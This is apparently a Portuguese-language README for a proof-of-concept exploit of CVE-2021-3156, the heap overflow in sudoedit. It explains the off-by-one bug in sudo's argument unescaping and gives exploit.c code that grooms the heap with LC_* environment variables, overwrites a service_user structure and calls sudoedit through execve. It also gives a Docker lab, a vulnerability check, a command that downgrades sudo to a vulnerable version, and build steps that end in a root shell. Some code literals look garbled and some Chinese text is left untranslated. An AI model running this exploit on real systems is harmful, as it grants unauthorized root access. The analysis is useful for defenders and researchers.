
versão corrigida
Use o Dockerfile para criar a imagem
docker build -t cve-2021-3156:ubuntu2004 .
Use a imagem para criar o contêiner
docker run --rm -it cve-2021-3156:ubuntu2004 /bin/bash
Nas versões anteriores ao Sudo 1.9.5p2, existe um erro off-by-one que pode levar a um estouro de buffer baseado em heap.
O atacante pode, ao executar:
sudoedit -s <参数以单个反斜杠 `\` 结尾>
elevar privilégios para root sem precisar de senha.
Tomando como exemplo o código-fonte do sudo 1.8.31p1, ao executar sudoedit -s, se houver entrada do caractere de escape \, a função parse_args em parse_args.c é chamada primeiro para realizar o escape dos parâmetros do comando. A parte de código a seguir trata do escape dos caracteres especiais na entrada.
for (av = argv; *av != NULL; av++) {
for (src = *av; *src != '\0'; src++) {
/* quote potential meta characters */
if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
*dst++ = '\\';
*dst++ = *src;
}
*dst++ = ' ';
}
Em seguida, antes de salvar os argumentos de entrada externa no espaço de heap ou pilha da memória, o programa chama a função set_cmnd no arquivo sudoers.c para copiar os argumentos da linha de comando para a memória heap, utilizando o código abaixo para remover todos os caracteres de escape \.
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) {
if (from[0] == '\\' && !isspace((unsigned char)from[1]))
from++;
*to++ = *from++;
}
*to++ = ' ';
}
O problema é: quando parse_args não escapa o argumento (ou seja, não insere \ adicional), o programa ainda entra na função set_cmnd para remover os escapes. Porém, como não houve escape do \ de entrada, ao entrar na função set_cnmd, a condição do if é satisfeita, o \ é ignorado e os parâmetros posteriores ao \ são copiados para user_args. Nesse momento, se o conteúdo copiado for longo demais, ocorre um estouro de heap.
O exploit é composto por duas partes: exploit.c e shellcode.c, onde exploit.c é responsável por construir argv e envp, chamar sudoedit via execve e realizar a exploração por meio do estouro de heap.
exploit.c, o programa constrói um buffer (buf) de tamanho 0xf0 para controlar com precisão o layout do heap, utilizando o estouro de buffer para sobrescrever estruturas críticas. O tamanho do estouro é controlado pelo preenchimento do buf ('Y' e \) e, em seguida, sudoedit é chamado via execve para acionar a vulnerabilidade. char buf[0xf0] = {0};
memset(buf, 'Y', 0xe0);
strcat(buf, "\");
char* argv[] = {
"sudoedit",
"-s",
buf,
NULL};
LC_* para o ajuste do heap. Através do layout dessas variáveis de ambiente, a estrutura-alvo service_user é alocada no caminho do estouro. Os dados do estouro são transmitidos pela variável de ambiente overflow e sobrescrevem os campos da estrutura service_user. char messages[0xe0] = {"LC_MESSAGES=en_GB.UTF-8@"};
memset(messages + strlen(messages), 'A', 0xb8);
char overflow[0x500] = {0};
memset(overflow, 'X', 0x4cf);
strcat(overflow, "\");
envp construído, os dados do estouro são passados para sudoedit, sobrescrevendo a estrutura-alvo e concluindo a exploração. char* envp[] = {
overflow,
"\", "\", "\", "\", "\", "\", "\", "\",
"XXXXXXX\",
// 省略部分内容
NULL};
sudoedit é acionada pela chamada execve. execve("/usr/bin/sudoedit", argv, envp);
Testado no Ubuntu 20.04, com sudo 1.8.31
Você pode verificar se a sua versão do sudo é vulnerável com o seguinte comando:
$ sudoedit -s Y
Se for solicitada uma senha, é bem provável que a vulnerabilidade exista; se uma mensagem de uso for exibida, a versão não é vulnerável.
Você pode fazer o downgrade do sudo no Ubuntu 20.04 para uma versão vulnerável, para testar, com o seguinte comando:
$ sudo apt install sudo=1.8.31-1ubuntu1
Modo de uso Execute make para compilar e executar a exploração:
$ make
$ ./exploit
Após explorar a vulnerabilidade com sucesso, é obtido um shell root interativo, capaz de executar operações privilegiadas.
